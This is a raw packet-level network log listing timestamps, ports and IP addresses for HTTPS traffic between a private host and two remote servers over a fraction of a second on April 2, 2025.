Apr 2, 2025 08:38:52.040818930 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.041299105 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.041340113 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.041356087 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.041368961 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.041431904 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.042437077 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.042524099 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.042535067 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.043036938 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.043071985 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.043100119 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.043104887 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.043119907 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.043169975 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.043845892 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.043905020 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.044198990 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.044694901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.044723034 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.044765949 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.044784069 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.045041084 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.045054913 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.045866013 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.045895100 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.045950890 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.045964003 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.046109915 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.046906948 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.047096968 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.047162056 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.047174931 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.047753096 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.047780037 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.047844887 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.047858953 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.048042059 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.048787117 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.049325943 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.049352884 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.049380064 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.049401045 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.049417019 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.049468040 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.050580978 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.050616980 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.050648928 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.050667048 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.050681114 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.050708055 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.051707983 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.051764011 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.051784992 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.051800013 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.052453995 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.052465916 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.052762985 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.052839041 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.052853107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.053410053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.053437948 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.053488970 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.053503990 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.053576946 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.053961039 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.054028034 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.054136038 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.054148912 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.054945946 CEST	443	49715	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.055048943 CEST	49715	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:52.055203915 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.055234909 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.055260897 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.055274963 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.055346012 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.055685997 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.055732012 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.056026936 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.056040049 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.056369066 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.056396961 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.056452990 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.056467056 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.056562901 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.057063103 CEST	49715	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:52.057122946 CEST	443	49715	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.057368994 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.057502031 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.057723999 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.057737112 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.057795048 CEST	443	49715	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.058096886 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.058120012 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.058163881 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.058176994 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.058243990 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.059112072 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.059179068 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.059284925 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.059298038 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.059775114 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.059799910 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.059861898 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.059875965 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.060060978 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.060986042 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.061036110 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.061125994 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.061139107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.061505079 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.061559916 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.061577082 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.061590910 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.061660051 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.062676907 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.062727928 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.062824965 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.062838078 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063276052 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063303947 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063354015 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.063366890 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063467979 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.063792944 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063843966 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063878059 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063905954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063909054 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.063920975 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.063958883 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.064575911 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.064702988 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.064714909 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.065407991 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.065565109 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.065577030 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.067500114 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.067558050 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.067627907 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.067641973 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.067725897 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.068065882 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.068133116 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.068270922 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.068284988 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.068700075 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.068731070 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.068762064 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.068763018 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.068773985 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.068820000 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.069217920 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.069360018 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.069372892 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.069895029 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.069921970 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.069983006 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.069996119 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.070708990 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.070719957 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.071026087 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.071254015 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.071265936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.071542025 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.071568966 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.071624041 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.071638107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.072105885 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.072158098 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.072170973 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.072225094 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.072236061 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.072720051 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.072777987 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.072791100 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.073048115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.073107958 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.073121071 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.073992968 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.074022055 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.074069977 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.074084044 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.074532986 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.074563026 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.074595928 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.074615955 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.074640036 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.075103998 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.075130939 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.075172901 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.075186014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.075244904 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.075687885 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.076126099 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.076652050 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.076663971 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080147028 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080176115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080197096 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.080202103 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080238104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080246925 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.080257893 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080284119 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080317974 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080327034 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.080332041 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080367088 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.080387115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080414057 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080431938 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.080435991 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.080487967 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.080493927 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.081439972 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.081466913 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.081542969 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.081551075 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.081681967 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.081907988 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.081955910 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.082012892 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.082019091 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.082561970 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.082590103 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.082619905 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.082624912 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.082629919 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.082674026 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.083669901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.083722115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.083748102 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.083758116 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.083762884 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.083792925 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.084286928 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.084314108 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.084342957 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.084350109 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.084419012 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.084842920 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.085474968 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.085510015 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.085537910 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.085552931 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.085558891 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.085592031 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.086390972 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.086472988 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.086478949 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.086585045 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.086648941 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.086653948 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.087219954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.087249994 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.087277889 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.087291956 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.087296963 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.087331057 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.089375973 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.089447021 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.089452982 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.089534044 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.089569092 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.089593887 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.089624882 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.089637041 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.089643002 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.089674950 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.089694977 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.089699030 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.090344906 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.090372086 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.090406895 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.090414047 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.090699911 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.090750933 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.090756893 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.090801001 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.091161966 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.091329098 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.091387987 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.091392994 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.091792107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.091820955 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.091846943 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.091854095 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.092381954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.092432022 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.092438936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.092480898 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.092978954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.093024969 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.093080997 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.093086958 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.093619108 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.093647003 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.093705893 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.093712091 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.094113111 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.094144106 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.094168901 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.094176054 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.094186068 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.094188929 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.094219923 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.094731092 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.095366001 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.095393896 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.095422029 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.095452070 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.095458984 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.095484018 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.097019911 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.097047091 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.097098112 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.097103119 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.097127914 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.097174883 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.097179890 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.097222090 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.097599983 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.097642899 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.097671986 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.097693920 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.097701073 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.098313093 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.098341942 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.098362923 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.098370075 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.098380089 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.098854065 CEST	443	49714	142.250.72.97	192.168.2.17
